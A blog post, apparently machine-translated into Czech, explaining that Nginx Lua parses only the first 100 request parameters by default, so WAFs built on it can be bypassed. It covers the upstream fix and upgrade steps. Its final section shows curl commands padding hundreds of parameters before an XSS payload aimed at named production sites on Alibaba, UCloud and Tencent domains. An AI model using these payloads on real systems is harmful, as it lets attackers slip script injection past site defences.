|
|
Zveřejněno 27.04.2018 9:23:29
|
|
|
|

Když ginx Lua získá parametry, prvních 100 hodnot parametrů se získá ve výchozím nastavení a zbytek se zavrhne. Proto budou WAFy používající Nginx Lua ve výchozím nastavení obcházet. Dne 20. dubna 18 už někdo z bezpečnostní pasažérky tuto informaci prozradil, takže jsem také zveřejnil tento článek 233.
Princip
Oficiální popis je následující
Všimněte si, že maximálně 100 argumentů požadavku je ve výchozím nastavení (včetně těch se stejným názvem) a že další argumenty požadavku jsou tiše zahazovány, aby se zabránilo potenciálnímu Útoky typu denial of service. Ve výchozím nastavení lze parsovat až 100 parametrů požadavků (včetně těch se stejným názvům) a další parametry požadavků jsou automaticky vyřazeny, aby se zabránilo možným útokům typu denial-of-service.
Vyhledejte 100, přibližně následující metoda má stejný problém. ngx.req.get_uri_args Získejte parametry požadavku pro get ngx.req.get_post_args Získejte parametry požadavku pro příspěvek ngx.req.get_headers Získejte záhlaví požadavku ngx.decode_args Dekódovat URL parametrů ngx.resp.get_headers Získejte záhlaví odpovědi Ve zdrojovém kódu modulu lua-nginx vidíme, že zdrojový kód nastavuje výchozí maximální parametr požadavku a hlavičku na 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Oficiální uživatel však poskytuje metodu pro úpravu výchozí hodnoty, například ngx.req.get_uri_args (200), aby se získalo prvních 200 parametrů požadavků.
Test
Pokud je parametr požadavku 101, nelze získat poslední parametr požadavku.
curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Pokud snížíte jeden parametr požadavku, můžete získat poslední parametr požadavku, když jsou parametry požadavku přesně 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 Odpověď: ZBG Mám tě, zbg
Všimněte si, že výchozí hodnota je skutečně 100 parametrů požadavku a parametry požadavku po 100 parametrech požadavků budou zamítnuty.
Je zvláštní věc, že v návratovém obsahu výše, uprostřed hrubé pozice, je už výstup konečného parametru zbg. Můj odhad je, že výstup není v pořadí, ale pořadí parsování odpovídá pořadí, v jakém jsou parametry zadávány, protože když je hodnota 101. parametru zbg, nelze ji získat.
Přiložený je python skript, který generuje parametry:
# Autor: ZBG # pošta:zbg@zbg.org # Datum: 2018-04-03
a = '' Pro i v dosahu (200): a = a + 'a{0}={1}&'.format(i+1, i+1) tisk a opravit Samozřejmě se nedoporučuje měnit hodnotu MAX parametru ve zdrojovém kódu. Protože bez ohledu na to, jak velkou hodnotu nastavíte, lze ji obejít. Doporučuje se nastavit ji pomocí parametrů metody. Pokud dokážete zjistit délku parametru požadavku a použít metodu jako ngx.req.get_uri_args (lenth), nestačilo by to? Při čtení dokumentace jsem zjistil, že počet požadovaných parametrů nelze zjistit. Pokud však nastavíte lenth na 0, můžete získat všechny požadované parametry.
Tento argument lze nastavit na nulu, aby se odstranil limit a zpracoval se všechny přijaté požadavkové argumenty. Local ARGs = ngx.req.get_uri_args(0)
Je však důrazně nedoporučováno nastavit ji na 0, aby se zabránilo možným útokům typu denial-of-service.
Odstranění max_args víčka je důrazně nedoporučováno.
Vlastně jsem se divil, proč by nastavení 0 vedlo k potenciálnímu útoku na odmítnutí služby, a požadavek by stejně šel na nginx, bez ohledu na to, kolik parametrů bylo v get nebo post.
Upozornil jsem na oficiální vyšetření a autor řekl, že ngx.req.get_uri_args (0) zvýší využití CPU a paměti serveru. Později jsem otestoval 200 parametrů a použil Nginx+php k získání 200. parametru, což znamená, že Nginx ve výchozím nastavení neomezuje počet požadovaných parametrů. Pak může být problém přímo v Nginx Lua,Když Nginx Lua používá ngx.req.get_uri_args(0) k získání všech parametrů a prochází jimi a prochází jimi po velkém počtu požadavků, spotřebuje více CPU a paměti a nakonec dokonce vede k odmítnutí služby。
Dne 3. 4. 2018 oficiálně Bypass007 nahlásil PROBLÉM ohledně této opravy chyby a konečně oficiálně přidal novou funkci založenou na tomto PROBLÉMU dne 21. 4. 2018. Adresa záznamu commitu této funkce: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Popis funkce je následující: Ve verzích po v0.10.13 (včetně v0.10.13), když je překročen limit počtu požadavků, je druhou vrácenou hodnotou zkrácený řetězec. Od verze v0.10.13, když je limit překročen, vrátí druhou hodnotu, což je řetězec "zkrácený". Nicméně volitelný argument max_args funkce lze použít k přepsání tohoto limitu: Lokální ARG, err = ngx.req.get_uri_args(10) pokud err == "zkráceno" pak -- zde lze aktuální žádost ignorovat nebo odmítnout konec
Takže vyšla konečná oprava.
Upgradovat lua-nginx-module na verzi v0.10.13 nebo novější
Pak omezte celkový počet parametrů, a co se týče omezení celkového počtu, osobně si myslím, že 100 stačí
OpenResty aktualizuje modul lua-nginx-module
Nenašel jsem žádné informace o modulu pro upgrade OpenResty, takže jsem přišel na to, jak modul lua-nginx-module upgradovat sám.
Kroky jsou následující:
Stáhněte si odpovídající verzi modulu lua-nginx-module Wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 rozbalit tar -zxvf v0.10.13 Smazat předchozí verzi lua-nginx-modulu rm -RF OpenResty-1.9.15.1/bundle/ngx_lua-0.10.5 Zkopírujte nový lua-nginx-modul mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Pro kompilaci se podívejte na kompilační parametry VeryNginx
Případové obcházení
Je třeba upřesnit, že u následujících WAFů si nejsem jistý, zda použít Nginx Lua, ale lze je obejít celkovým počtem parametrů.
Ali WAF
Tento WAF je WAF používaný interně Alibabou, tedy WAF používaný doménovými jmény jako *.taobao.com, a nebyl testován pro cloudový WAF prodávaný Alibaba Cloud. Nejprve požádejte o POST XSS Payload, aby jej zachytil. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Díky Fuzz bylo zjištěno, že když se počet parametrů zvýší na 478 pomocí XSS Payload, již není zachycován a webová stránka je přístupná normálně. curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a314=314&a314=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
Testovaný WAF je WAF prodávaný společností UCloud. Když je parametr požadavku zvýšen na 138, už nebude blokován a webová stránka bude přístupná normálně. curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
Tencent WAF
Tento WAF je WAF používaný Tencentem interně, tedy WAF používaný doménovými jmény jako *.qq.com, a nebyl testován pro cloudový WAF prodávaný Tencent Cloud. Když parametr požadavku vzroste na 4000, už nebude blokován a webová stránka bude přístupná normálně. Náhodné testy následujících domén jsou ovlivněny. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
shrnutí
Tato otázka je velmi jednoduchá a najdete ji při pečlivém čtení dokumentu. Ale proč jsem to nezjistil? Myslím, že je to pořád příliš málo přemýšlení. Reference
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Předchozí:Nauč se Photoshop od nuly, 18 lekcí od začátečníka po bohaDalší:Silné a slabé stránky Lua a Luajita
|